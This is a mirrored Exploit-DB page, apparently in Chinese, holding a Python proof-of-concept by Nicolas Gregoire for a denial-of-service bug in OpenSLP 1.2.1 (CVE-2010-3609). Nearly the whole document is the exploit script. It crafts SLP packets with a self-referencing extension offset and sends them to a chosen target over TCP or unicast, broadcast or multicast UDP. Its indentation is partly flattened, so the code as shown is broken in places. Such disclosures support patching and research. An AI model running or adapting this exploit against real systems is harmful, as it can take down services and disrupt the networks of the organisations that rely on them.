OpenSLP 1.2.1 / < 1647 trunk - Denial of Service

  • 作者: Nicolas Gregoire
    日期: 2011-08-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17610/
  • #!/usr/bin/python
    
    # Title: OpenSLP DoS
    # Author: Nicolas Gregoire (@Agarri_FR)
    # CVE: 2010-3609
    # Software download: http://www.openslp.org/download.html 
    # Version: v1.2.1 and trunk before revision 1647
    # Tested on: Linux Ubuntu 10.04, VMware ESX 4.0
    # Notes: It affects some others SLP softwares, like mSLP. More details (in French) on my blog => http://goo.gl/s0zHq
    
    ''' ==================================
    Pseudo documentation 
    ================================== '''
    
    # SLPick, extension DoS release
    # by Nicolas Gregoire
    
    ''' ==================================
     Imports 
    ================================== '''
    
    import getopt
    import re
    import sys
    import binascii
    import struct
    import socket
    import os
    
    
    ''' ==================================
    Default values
    ================================== '''
    
    version = '0.4'
    mode = 'unicast'
    source = 'N/A'
    target = 'N/A'
    xid = '\x12\x34'
    port = 427
    nb = 1
    req = 'sr'
    
    ''' ==================================
    Standard functions
    ================================== '''
    
    # Some nice formatting
    def zprint(str):
    	print '[=] ' + str
    
    # Function displaying CLI arguments
    def showUsage():
    print 'Usage : ' + sys.argv[0] + ' [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]'
    print '\t[-h] Help (this text)'
    print '\t[-m] Mode : tcp / unicast / broadcast / multicast (default is "' + mode + '")'
    print '\t[-p] Port : default is "' + str(port) + '"'
    print '\t[-s] Source IP Adress : no default (used only in multicast mode)'
    print '\t[-t] Target IP Adress : no default (forced in multicast mode)'
    print '\t[-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)'
    print '\t[-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)'
    sys.exit(1)
    
    # Function parsing parameters
    def getArguments():
    try:
    optlist, list = getopt.getopt(sys.argv[1:], 'hm:p:t:s:n:r:')
    except getopt.GetoptError:
    showUsage()
    for opt in optlist:
    if opt[0] == '-h':
    showUsage()
    if opt[0] == '-p':
    global port
    port = opt[1]
    if opt[0] == '-s':
    global source
    source = opt[1]
    if opt[0] == '-t':
    global target
    target = opt[1]
    if opt[0] == '-m':
    global mode
    	mode = opt[1]
    if opt[0] == '-n':
    global nb
    	nb = int(opt[1])
    if opt[0] == '-r':
    global req
    	req = opt[1]
    
    # Function checking parameters
    def checkArguments():
    if (mode == 'multicast'):
    # XID : must be 0 in multicast mode
    # Target IP : default SLP multicast address
    # Source IP : address of the local interface 
    global xid
    xid = '\x00\x00'
    	zprint('Forcing XID to "0"')
    global target
    	target = '239.255.255.253'
    	zprint('Forcing target IP to "' + target + '"')
    if (source != 'N/A') :
    	zprint('Forcing source IP to "' + source + '"')
    else:
    	zprint('You need to force the source address with "-s" !')
    showUsage()
    elif (mode == 'unicast') or (mode == 'broadcast') or (mode == 'multicast') or (mode == 'tcp'):
    # Target IP : must be defined
    if (target == 'N/A') :
    zprint('Invalid target !')
    showUsage()
    else :
    zprint('Invalid mode !')
    showUsage()
    
    ''' ==================================
    SLP functions
    ================================== '''
    
    # Define payload of type "Service Request"
    def getServRequest():
    
    	zprint('Creating payload of type "Service Request"')
    
    	# Function type
    	f = '\x01'
    	# Empty fields
    	previous_list_length = '\x00\x00'
    	predicate_length = '\x00\x00'
    	scope_length = '\x00\x00'
    	spi_length = '\x00\x00'
    	# Variable-size fields
    	service = 'service:directory-agent'
    	service_length = struct.pack('!h', len(service)) 
    	# Create message
    	m = previous_list_length + service_length + service
    	m += predicate_length + scope_length + spi_length
    
    	return(f, m)
    
    # Define payload of type "Attribute Request"
    def getAttrRequest():
    
    	zprint('Creating payload of type "Attribue Request"')
    
    	# Function type
    	f = '\x06'
    	# Empty fields
    	previous_list_length = '\x00\x00'
    	tag_length = '\x00\x00'
    	spi_length = '\x00\x00'
    	# Variable-size fields
    	url = 'http://www.agarri.fr/'
    	url_length = struct.pack('!h', len(url)) 
    	scope = 'default'
    	scope_length = struct.pack('!h', len(scope)) 
    	# Create message
    	m = previous_list_length
    	m += url_length + url + scope_length + scope
    	m += tag_length + spi_length
    
    	return(f, m)
    
    # Define the function creating the full SLP packet
    def createPacket(function, message):
    
    	zprint('Adding headers and trailers')
    
    	# SLP Version
    	version = '\x02'
    # Set the 'Multicast required' flag to 1
    	if (mode == 'broadcast' or mode == 'multicast'):
    	flags = '\x20\x00'
    else:
    flags = '\x00\x00'
    
    #######################################################
    # Here's the bug !!!!
    #######################################################
    zprint('Using ' + str(nb) + ' extension(s)')
    if (nb == 0):
    # No extension == no bug
    	next_ext_offset = '\x00\x00\x00'
    	extension = ''
    	elif (nb == 1):
    # Loop over itself
    	next_ext_offset = '\x00\x00\x05'
    	extension = ''
    elif (nb == 2) :
    # Point to another extension located at the end of the packet
    # TODO : Calculate it at runtime
    	if (req == 'sr'):
    next_ext_offset = '\x00\x00\x31'
    else :
    next_ext_offset = '\x00\x00\x36'
    # OpenSLP : extid should be < 0x4000 or > 0x7FFF 
    	ext_id = '\xBA\xBE'
    # Loop over itself, 0x05 (back to previous extension) should work too 
    	ext_nextoffset = next_ext_offset
    	# Could be anything
    ext_data = '\x22\x22'
    	# Create the trailing extension
    extension = ext_id + ext_nextoffset + ext_data
    else:
    	print 'Wrong number of extensions'
    sys.exit(1)
    
    	# Variable-size headers
    	lang = 'en'
    	lang_length = struct.pack('!h', len(lang)) 
    
    	# Assemble headers
    	headers = flags + next_ext_offset + xid + lang_length + lang
    
    	# Packet = version + function + overall size + headers + message + extension
    	packet = version + function + '\x00'
    	packet += struct.pack('!h', len(headers + message + extension) + 5) 
    	packet += headers + message + extension
    
    	return packet
    
    ''' ==================================
     Send packet via TCP or UDP
    ================================== '''
    
    # Send via TCP
    def sendTcpPacket(packet):
    
    	zprint('Sending packet via TCP [' + target + ']')
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	s.settimeout(3)
    try:
    s.connect((target, port))
    except socket.error:
    zprint('Socket error (port closed ?)')
    sys.exit(1)
    	s.send(packet)
    	s.close
    
    # Send via unicast UDP
    def sendUnicastPacket(packet):
    
    	zprint('Sending packet via Unicast UDP [' + target + ']')
    	s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
    	s.sendto( packet, (target, port) )
    
    # Send via broadcast UDP
    def sendBroadcastPacket(packet):
    
    zprint('Sending packet via Broadcast UDP [' + target + ']')
    	s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
    s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    	s.sendto( packet, (target, port) )
    
    # Send via multicast UDP
    def sendMulticastPacket(packet):
    
    	zprint('Sending packet via Multicast UDP [' + target + ']')
    	sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    	sock.bind((source, 6666)) # Select an interface (and an evil port ;-)
    	sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
    	sock.sendto(packet, (target, port) );
    
    ''' ==================================
     Main code
    ================================== '''
    
    # Print banner
    zprint('SLPick : SLP client v' + version + ' (by Nicolas Gregoire)')
    
    # Set options
    getArguments()
    checkArguments()
    
    # Which payload ?
    if (req == 'ar'):
    func, payload = getAttrRequest()
    else :
    func, payload = getServRequest()
    
    # Add headers and trailers (including extensions)
    packet = createPacket(func, payload)
    
    # TCP
    if (mode == 'tcp'):
    	sendTcpPacket(packet)
    # UDP
    elif (mode == 'unicast'):
    	sendUnicastPacket(packet)
    elif (mode == 'broadcast'):
    	sendBroadcastPacket(packet)
    elif (mode == 'multicast'):
    	sendMulticastPacket(packet)
    
    # Exit
    zprint('Exit')